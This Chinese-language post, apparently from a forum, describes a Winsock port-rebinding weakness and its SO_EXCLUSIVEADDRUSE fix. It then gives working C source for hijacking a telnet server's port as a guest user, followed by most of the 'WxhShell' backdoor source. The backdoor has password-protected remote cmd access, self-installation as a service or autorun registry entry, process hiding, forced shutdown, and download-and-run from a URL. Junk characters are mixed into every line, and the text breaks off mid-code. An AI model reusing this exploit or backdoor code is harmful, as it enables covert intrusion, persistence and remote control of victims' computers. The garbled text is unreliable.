在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?Y( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,&P
4%N" VfX^iG r saddr.sin_family = AF_INET;
$Habhw jx: IK saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q<JCgO-F< $TI^8 3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i+Z)` O$,Fga 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)U@9dV7u utlr|m Xc 这意味着什么?意味着可以进行如下的攻击:
53HA6:Q[ [FO4x` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~||0lj.D 6hxZ5&;(* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^3;B4tj[ -*C
WF|<G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
IOy0WHl| &9L4
t%As 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/( Wq zBF~:Uc`B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u_(~zs.N] ;tjOEmIiU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"o5]:]h) [jMN*p? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
cb}"giXQTB (Xd8'-G$m #include
ujU,O%.n #include
Fc~G*Gz~Z| #include
nf.Ox.kM) #include
Ar`+x5
DWORD WINAPI ClientThread(LPVOID lpParam);
G 3Z"U int main()
C8U3+ s {
T+kV~ w{ WORD wVersionRequested;
fkA+:j~z_ DWORD ret;
mq`/nAmt WSADATA wsaData;
6_CP?X+T BOOL val;
1[%3kY-h SOCKADDR_IN saddr;
?:(y SOCKADDR_IN scaddr;
iQ'*QbP'Z int err;
Ez3fL&* SOCKET s;
;J%:DD SOCKET sc;
s|=lKa]d!" int caddsize;
F-_u/C] HANDLE mt;
d>QFmsh- DWORD tid;
HBlk~eZ wVersionRequested = MAKEWORD( 2, 2 );
50,'z?-_ err = WSAStartup( wVersionRequested, &wsaData );
!nv wRQ if ( err != 0 ) {
L5&M@YTH printf("error!WSAStartup failed!\n");
1-2hh) return -1;
n(:<pz }
mUYRioNj saddr.sin_family = AF_INET;
ZT0\V
]!B HI.*xkBXl& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
66yw[,Y -ss= c # saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
AZj&;!} saddr.sin_port = htons(23);
C/kf?:j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~iL^KeAp
{
uo9#(6 printf("error!socket failed!\n");
Q]ersA8 V> return -1;
|Y9>kXM l }
i'IT,jz! val = TRUE;
slQn //SO_REUSEADDR选项就是可以实现端口重绑定的
c_J9CKqc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u` pTFy {
VY?9|};f printf("error!setsockopt failed!\n");
c+Q'4E0| return -1;
++cS^ Lo }
HW@wia //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kf,
&t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Iy<>-e"| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>jm(2P(R
afm\Iv[* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LEb$Fd {
s,z~qL6& ret=GetLastError();
gq=t7b printf("error!bind failed!\n");
*1|7%*!8 return -1;
ACszx\[K3 }
9vI~vl l listen(s,2);
]C_+u_9 while(1)
'VDWJTia {
E~!$&9\ caddsize = sizeof(scaddr);
l_I)d7 //接受连接请求
\J'}CX*aQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,f
}$FZ if(sc!=INVALID_SOCKET)
?nU<cx h {
n]%-2`}( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|[\;.gT K if(mt==NULL)
N /4E
~^2 {
2+1ybOwb printf("Thread Creat Failed!\n");
XT7m3M break;
Myq8`/_ }
DT-VxF6 h }
`4Yo-@iVP CloseHandle(mt);
s9- qR_ }
ejN/U{)jK' closesocket(s);
u`bD`kfT> WSACleanup();
'eM0i[E+` return 0;
JEUU~L; }
A5<t> 6Y DWORD WINAPI ClientThread(LPVOID lpParam)
_CwTe=K} {
c=!>m SOCKET ss = (SOCKET)lpParam;
WAu>p3
SOCKET sc;
= Xgo}g1 unsigned char buf[4096];
"Q?+T:D8| SOCKADDR_IN saddr;
HDe\Oty_ long num;
CPz<iU DWORD val;
?ZF):}rvZ DWORD ret;
Ailq,c //如果是隐藏端口应用的话,可以在此处加一些判断
6v`3/o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
GZ%vFje_
K saddr.sin_family = AF_INET;
HC iRk1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
V_7\VKR saddr.sin_port = htons(23);
P9v(5Z00|d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F};R {
;ALWL~Xm printf("error!socket failed!\n");
m2]N%Y return -1;
qng ~,m }
y`I>|5[` val = 100;
+%dXB&9x|Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
> 0^<<=m {
EX,>V,.UV ret = GetLastError();
EPm~@8@"j? return -1;
: auR0FE }
*`>BOl+ro if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;[ <(4v$ {
= oAS(7o ret = GetLastError();
`YhGd?uu$ return -1;
T#!>mL|9| }
d |17G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
yw1&I^7 {
^rWg:fb printf("error!socket connect failed!\n");
atL<mhRz closesocket(sc);
BP/nK. closesocket(ss);
p2vN=[g9) return -1;
J%"BCbxW~B }
0|&@)` while(1)
@MSmg3& {
lQ8hY$
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
g'.OzD //如果是嗅探内容的话,可以再此处进行内容分析和记录
;1k&}v& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
E&U_1D9=L< num = recv(ss,buf,4096,0);
>kXscbRL7 if(num>0)
:i.@d? send(sc,buf,num,0);
L(y70T else if(num==0)
l=?e0d>O break;
(< +A w7 num = recv(sc,buf,4096,0);
(Pc>D';{S if(num>0)
Fh #QS'[ send(ss,buf,num,0);
7l *
&Fh9; else if(num==0)
TgiZ
% G break;
#U:|-
a.> }
! M^O\C) closesocket(ss);
Tmzbh 9
closesocket(sc);
IuwE&# return 0 ;
5(>=};r+ }
">}6i9o s9Hxiw@D y:'Ns$+ ==========================================================
1wFu3fh@ 5B=uvp|Y 下边附上一个代码,,WXhSHELL
"*d6E}wG \^)i!@v ==========================================================
gd;!1GNi] Iz0$T.T #include "stdafx.h"
8(1*,CJQg sfF ~k- #include <stdio.h>
~I||"$R #include <string.h>
@KQ>DBWQM #include <windows.h>
EI_-5Tt RD #include <winsock2.h>
1 Pk+zBJ$ #include <winsvc.h>
~P3b5 - #include <urlmon.h>
BH:A]#_{ (`(D
$% #pragma comment (lib, "Ws2_32.lib")
J[ZHAnmPH #pragma comment (lib, "urlmon.lib")
:nx+(xgw L
FWp}#% #define MAX_USER 100 // 最大客户端连接数
lV\iYX2# #define BUF_SOCK 200 // sock buffer
1K Vit{ #define KEY_BUFF 255 // 输入 buffer
yqN`R\d 2Q6;SF"Z #define REBOOT 0 // 重启
L}h_\1 #define SHUTDOWN 1 // 关机
LG[N\%<!H .S//T/3O]Q #define DEF_PORT 5000 // 监听端口
[)"\Aq }0'LKwIR #define REG_LEN 16 // 注册表键长度
|] 7c&` #define SVC_LEN 80 // NT服务名长度
-1Q24jrO- Xm#W}Y' // 从dll定义API
SBxpJsW> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#pvq9fss,} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[F6)Z[uG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'K7\[if{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
En\@d@j<u r=Xo; d*TE // wxhshell配置信息
ebBi zc= struct WSCFG {
r8 9o int ws_port; // 监听端口
_vTr?jjfK char ws_passstr[REG_LEN]; // 口令
UarLxPQ int ws_autoins; // 安装标记, 1=yes 0=no
T]th3* char ws_regname[REG_LEN]; // 注册表键名
a_b#hM/c; char ws_svcname[REG_LEN]; // 服务名
Fb{N>*l. char ws_svcdisp[SVC_LEN]; // 服务显示名
$1.-m{Bd char ws_svcdesc[SVC_LEN]; // 服务描述信息
HV a9b; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
V0;"Qa@q int ws_downexe; // 下载执行标记, 1=yes 0=no
7_\G|Zd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u}du@Aq char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vl:~&I&y;R w)7y{ya$ };
;W-
A2g
x?L0R{?WW // default Wxhshell configuration
gmVN(K}SR5 struct WSCFG wscfg={DEF_PORT,
a2P)@R "xuhuanlingzhe",
NjIPHM$g 1,
=Kj{wA
O "Wxhshell",
URb8[~dR: "Wxhshell",
_=HaE&
"WxhShell Service",
|dR}S!fmG "Wrsky Windows CmdShell Service",
3Q,&D'];[ "Please Input Your Password: ",
k8?._1t 1,
z"f@iJX?2 "
http://www.wrsky.com/wxhshell.exe",
U'=8:& "Wxhshell.exe"
h$8h@2% };
3t-STk? &~*](Ma // 消息定义模块
(WHgB0{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
OlT8pG5Oa char *msg_ws_prompt="\n\r? for help\n\r#>";
k'8tcXs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F\eQV< char *msg_ws_ext="\n\rExit.";
8UU
L= char *msg_ws_end="\n\rQuit.";
lC($@sC % char *msg_ws_boot="\n\rReboot...";
m!ZY]:)$ char *msg_ws_poff="\n\rShutdown...";
bMKX9`*o char *msg_ws_down="\n\rSave to ";
YE`Y t 7qqzL_d> char *msg_ws_err="\n\rErr!";
8KJUC&` char *msg_ws_ok="\n\rOK!";
:i&]J$^; ,7d/KJ^7 char ExeFile[MAX_PATH];
S<7!<]F- int nUser = 0;
e]VW\6J& HANDLE handles[MAX_USER];
c^I^jg2v int OsIsNt;
Bz/ba * 7(}'jZ SERVICE_STATUS serviceStatus;
Y"lEMY SERVICE_STATUS_HANDLE hServiceStatusHandle;
r;{$x rt^~
I\V // 函数声明
BL&AZv/T int Install(void);
]W;6gmV int Uninstall(void);
`df!-\# int DownloadFile(char *sURL, SOCKET wsh);
3CD#OCz7& int Boot(int flag);
yeiIP void HideProc(void);
Erw1y,mF int GetOsVer(void);
&dtst?? int Wxhshell(SOCKET wsl);
&|x7T<,) void TalkWithClient(void *cs);
\Y!#Y#c int CmdShell(SOCKET sock);
cF
5|Pf int StartFromService(void);
xf&[QG+Ef int StartWxhshell(LPSTR lpCmdLine);
Mp/l*"( X,G<D} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
NK qIx VOID WINAPI NTServiceHandler( DWORD fdwControl );
4s7
RB pg%(6dqK4 // 数据结构和表定义
,ayEZ#4.m SERVICE_TABLE_ENTRY DispatchTable[] =
!=eNr<:V. {
r#OPW7mhE {wscfg.ws_svcname, NTServiceMain},
.e7tq\k {NULL, NULL}
i.^ytbH };
Rq|6d
M6H )
A:h // 自我安装
b-
- tl@H int Install(void)
JOuyEPy {
opH!sa@U char svExeFile[MAX_PATH];
*;@wPT HKEY key;
1 !_p
strcpy(svExeFile,ExeFile);
1r=cCM ;qaPK2a8 // 如果是win9x系统,修改注册表设为自启动
:(]fC~G~ if(!OsIsNt) {
pq`uB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,NQ!d4~D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
igo9~. RegCloseKey(key);
t,r]22I,` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0h A: =r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>Lo\?X~ RegCloseKey(key);
>e {1e return 0;
q;,lv3I }
bkd`7(r }
SE\?8cs]- }
d3:GmB . else {
,!_6X9N-h #][i!9$ // 如果是NT以上系统,安装为系统服务
+%YBa'Lk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
i2Wvu3,D3- if (schSCManager!=0)
c*r H^Nz {
di/QJrw
SC_HANDLE schService = CreateService
&jqylX (
@dv8 F
"v schSCManager,
?JZ$M wscfg.ws_svcname,
RiQ]AsTtl wscfg.ws_svcdisp,
9:p-F+ SERVICE_ALL_ACCESS,
Aax;0qGbH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l~"T>=jq3 SERVICE_AUTO_START,
SAdT#0J SERVICE_ERROR_NORMAL,
2
`>a( svExeFile,
cCZp6^/<x NULL,
y7hDMQ c' NULL,
>$'z4TC\T NULL,
36{GZDGQ NULL,
>[Vc$[62 NULL
;p+'?%Y} );
To(I<W|{ if (schService!=0)
:\|A.#
U {
GqHW.s5 CloseServiceHandle(schService);
=dPokLXn CloseServiceHandle(schSCManager);
Kkp dcc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0Ncpi=6 strcat(svExeFile,wscfg.ws_svcname);
@e<(o
UE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
k4iiL<| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
VaD+:b4 RegCloseKey(key);
_CHzwNU return 0;
AtJ{d^ }
qS\#MMsTd }
kL1<H%1' CloseServiceHandle(schSCManager);
:m<&Ff} }
J-
S.m( }
|BFzTz,o T^7Cv{[ return 1;
YTa
g|If }
^($'l)I xuvW6Q; // 自我卸载
J[<Zy^"Y; int Uninstall(void)
jTR?!Mt0 {
D#LV&4e>.E HKEY key;
r>fGj\#R = {]+t< if(!OsIsNt) {
aB6xRn9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y]SF0:v!n RegDeleteValue(key,wscfg.ws_regname);
o*H U^ RegCloseKey(key);
>>J3"XHX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1*=ev,Z RegDeleteValue(key,wscfg.ws_regname);
j"nOxs RegCloseKey(key);
W+&5G(z~ return 0;
bvtpqI QZ }
_H]^7`; }
lBbb7*Ljt< }
P)K$+oo else {
]QaKXg)3q dO82T3T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
LJ[zF~4# if (schSCManager!=0)
e>z"{ u(F0 {
:rL%,o" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2#7|zhgb if (schService!=0)
Zkd{EMW {
\o!3TK"N if(DeleteService(schService)!=0) {
w&?XsO@0W CloseServiceHandle(schService);
nW)+-Wxq CloseServiceHandle(schSCManager);
1*8;)#%& return 0;
6=;:[ }
$/M-@3wro CloseServiceHandle(schService);
Z
i6s0Uck }
V8/d27\ CloseServiceHandle(schSCManager);
fLe~X!#HF }
ZoXz@/T }
n>}Y@{<]/ `r}_92Tt return 1;
fc+-/!v }
<;Hb7p3N zhw*Bed< // 从指定url下载文件
B!/kC)bF: int DownloadFile(char *sURL, SOCKET wsh)
=R=V {
6nk}k]Ji HRESULT hr;
^f,4=- char seps[]= "/";
!Axe}RD' char *token;
8QTry% char *file;
~3 :VM_ char myURL[MAX_PATH];
D
5r H6*J char myFILE[MAX_PATH];
i%9vZ m ~&
strcpy(myURL,sURL);
<'4Wne.z! token=strtok(myURL,seps);
D;!sH?J@+ while(token!=NULL)
`Xos]L'w {
W+i^tmj file=token;
c6[m'cy token=strtok(NULL,seps);
>B{qPrmI }
]pvHsiI: ]Uwp\2Bc GetCurrentDirectory(MAX_PATH,myFILE);
{P6Bfh7CZ strcat(myFILE, "\\");
:Tpf8 strcat(myFILE, file);
z[f]mU send(wsh,myFILE,strlen(myFILE),0);
*W8n8qG%T send(wsh,"...",3,0);
QDn_`c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r4mh:T4i if(hr==S_OK)
Sl8+A+ return 0;
BHY-fb@R]H else
MZ"V\6T] return 1;
6>)fNCe` +DRt2a# }
3?B1oIHQ vNw(hT5750 // 系统电源模块
7"Xy8]i{z int Boot(int flag)
zn>lF {
)(]rUJ~+~A HANDLE hToken;
<Z-Pc?F&(k TOKEN_PRIVILEGES tkp;
\)dp oSrA4g if(OsIsNt) {
fZ-"._9UyH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%$ya>0?mq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N 8[rWJ# tkp.PrivilegeCount = 1;
X}Q4;='C- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
g}hUCx( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1#x5
o2n if(flag==REBOOT) {
%O9 Wm_% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~S('\h)1 return 0;
\Hp!NbnF$ }
_9=87u0 else {
`e ZDG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~a_hOKU5 return 0;
1T#-1n%[k( }
bR7tmJ[)Z }
cgG*7E else {
.h
<=C&Yg if(flag==REBOOT) {
fcdXj_u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G
T~rr*X return 0;
&n| <NF }
|y7TYjg6 else {
M<Bo<,!ua if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
n*9QSyJN] return 0;
S!A:/(^WB }
@2"uJ6o }
P.>fkO1\ -F/)-s6#!' return 1;
FZgf"XM> }
Zw)=Y.y! )vq}$W!:9 // win9x进程隐藏模块
N_
ODr]L void HideProc(void)
U)'YR$2< {
R>"pJbS;L /HUT6B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2(!W
9#] if ( hKernel != NULL )
fP<==DK {
#q:j~4)h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
eY`z\I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
EJ
{vJZO FreeLibrary(hKernel);
pImq<Z }
U`)
";WN s>L-0vG return;
<q'?[aKvR }
cWnEp';. ;L:UYhDbUx // 获取操作系统版本
o Tvg%bX int GetOsVer(void)
z@UH[>^gj {
1;m?:|6K{ OSVERSIONINFO winfo;
AM?ZhM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\GHj_r GetVersionEx(&winfo);
gIweL{Pc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i+S%e,U* return 1;
Z<|x6% else
B[mZQ&Gz`a return 0;
vV"YgN: }
.K^gh$z! q>%.zc[x // 客户端句柄模块
rui 8x4c int Wxhshell(SOCKET wsl)
BT(eU*m- {
,r3`u2) SOCKET wsh;
MA{ZmPm) struct sockaddr_in client;
I[A<e]uK DWORD myID;
nEUH; z >Ch2Ep while(nUser<MAX_USER)
Zah<e6L {
-ik$<>{X int nSize=sizeof(client);
NfQQJ@* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
M%jR`qVFg. if(wsh==INVALID_SOCKET) return 1;
R{H8@JLD @ebY_* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-AL^ if(handles[nUser]==0)
D
Q4O closesocket(wsh);
7&etnQJ{ else
CNV^,`FX nUser++;
{y{O ze }
b!-=L&V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
xGOmvn^lQ v#9i| return 0;
A~{vja0? }
w[vccARQ k0FAI0~( // 关闭 socket
E}zGY2Xx void CloseIt(SOCKET wsh)
]/p>p3@1C {
EFU)0IAL[ closesocket(wsh);
ENA"T-p nUser--;
w}/+3z ExitThread(0);
p1GP@m,^n0 }
2I suBX\[ 18~jUYMV // 客户端请求句柄
9h+TO_T@F void TalkWithClient(void *cs)
>BJBM | {
wg
k[_i 3 q8S SOCKET wsh=(SOCKET)cs;
~mHrgxQ- char pwd[SVC_LEN];
0T@axQ[% char cmd[KEY_BUFF];
z2R?GQ5 A char chr[1];
+i /4G.=* int i,j;
Bvj `o{_+Li9 while (nUser < MAX_USER) {
c=-qbG0` Y ajAz5N if(wscfg.ws_passstr) {
( ?e
Et& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jU 3ceXV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N.|zz)y //ZeroMemory(pwd,KEY_BUFF);
mDt!b6N/ i=0;
]#S<]v A while(i<SVC_LEN) {
18j>x3tn Jzp|#*~$E // 设置超时
$BLd>gTzmv fd_set FdRead;
E>|fbaN-% struct timeval TimeOut;
giIPK& FD_ZERO(&FdRead);
wKpD++k FD_SET(wsh,&FdRead);
mq}uq9< TimeOut.tv_sec=8;
o=zl{tZV TimeOut.tv_usec=0;
wqjR-$c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r~|7paX! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ifl
LY7j H7drDw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\,m*CYs` pwd
=chr[0]; hZ|0<u
if(chr[0]==0xd || chr[0]==0xa) { r|z B?9Q
pwd=0; G `eU
break; h*hkl#
} hVz]',
i++; qm9=Ga5
} D#,A_GA{A
EpT^r8I
// 如果是非法用户,关闭 socket 8B "^}y\0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &\ad.O/Q
} U.Z5;E0:
0Bkc93
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;B }4pv}
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lN"@5(5%
-`X`Ff
while(1) { V<}chLd,
WS@"8+re;
ZeroMemory(cmd,KEY_BUFF); 3 l
j^I
iTT7<x
// 自动支持客户端 telnet标准 ym` 4v5w
j=0; wSZMHIW
while(j<KEY_BUFF) { 4UPxV"H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RA){\~@wC
cmd[j]=chr[0]; 6#:V3 ;
if(chr[0]==0xa || chr[0]==0xd) { <jaQ0S{|
cmd[j]=0; Vvv;m 5.
break; Ofb&W
AD
} ,t*H: *
j++; >~'z%
} szqR1A
mtLiS3Nk8
// 下载文件 (6
RWI#
if(strstr(cmd,"http://")) { zDxJK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,CB E&g
if(DownloadFile(cmd,wsh)) &-My[t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yYTOp^
else ]Ee$ulJ02
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >C5u>@%9O
} &:}WfY!hX
else { #g2&x sU
XrXW6s;Z
switch(cmd[0]) { #7YJ87<E
SoFl]^l
// 帮助 [CAFh:o
case '?': { xNRMI!yv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EAC I>
break; L@?3E`4/v
} V1Gnr~GM
// 安装 aM_O0Rn==
case 'i': { ^ME'D
if(Install()) 3".#nN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D mky!Cp
else l&Y'5k_R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [4yw? U
break; P*ZMbAf.
} =L?2[a$2;
// 卸载 ^oE#;aS
case 'r': { u2[L^]|
if(Uninstall()) d+
[2Sm(7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZC^NhgX
else PH^Gjm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (bB"6
#TI
break; e)XnS '
} 3m &
// 显示 wxhshell 所在路径 }{&;\^i
case 'p': { CHCT
e
char svExeFile[MAX_PATH]; [;~"ctf{
strcpy(svExeFile,"\n\r"); nuA
0%K
strcat(svExeFile,ExeFile); F]0
qt$GO
send(wsh,svExeFile,strlen(svExeFile),0); o?IrDQ2gmh
break; .Ep&O#
} E},zB*5TH
// 重启 ]9W7]$
case 'b': { 5e?<x>e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tCwB7c-
if(Boot(REBOOT)) R.
vVl+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /wP2Wnq$
else { =u.23#.
closesocket(wsh); z'"Y+EWN
ExitThread(0); [1z.JfC :S
} qN
Ut
break; @a
7U0$,O#
} Y|tK19
// 关机 #]gmM
case 'd': { AYp~;@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q_9 tbZ;
if(Boot(SHUTDOWN)) W u$yB!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S a}P
|qI
else { 47f\
closesocket(wsh); ;=6EBP%
ExitThread(0); ,^DP
} B^ddi
break; A<( DYd1H
} Ea-U+7JC
// 获取shell GY^;$ ?
case 's': { {.y_{yWo
CmdShell(wsh); C46jVl
closesocket(wsh); Zp9kxm'
ExitThread(0); >6)|>#Wi
break; lJT"aXt'M
} 7;&,LH
// 退出 !?+q7U
case 'x': { IcGX~zWr
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E\p"%
CloseIt(wsh); =+q\Jh
break; j5]ul!ji
} Y4_xV&
// 离开 qL[SwEc
case 'q': { Mq'm
TM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,*?[Rg0]+
closesocket(wsh); ooC9a>X
WSACleanup(); pUW7p
exit(1); RAuVRm=E
break; w8 `1'*HG
} k_Y7<z0G
}
Ed2A\S6tl
} @X560_x[q
f$vTD ak
// 提示信息 k1s5cg=n(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Q?8tGfB
} :M<] 6o
} XP?)xDr8
vJV/3-yX
return; &
d$X:
} vbZ!NO!H
jp^Sw|
// shell模块句柄 7?y7fwER
int CmdShell(SOCKET sock) HPJHA ,
{ LIQ].VxIs
STARTUPINFO si; *;~u 5y2b
ZeroMemory(&si,sizeof(si)); U=U5EdN;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AYpvGl'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (oG.A
PROCESS_INFORMATION ProcessInfo; ik;F@kdm`
char cmdline[]="cmd"; Chx+p&!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;oDr8a<A
return 0; %qTIT?6'
} 6<R[hIWpZ}
5NH4C
// 自身启动模式 4- Jwy
int StartFromService(void) K>b4(^lf
{ U~;tk@
typedef struct .`V$j.a
{ 5sN6&'[
DWORD ExitStatus; ?( z"Ub]
DWORD PebBaseAddress; VxARJ*4=Y
DWORD AffinityMask; k}NM]9EAE
DWORD BasePriority; aql8Or1[
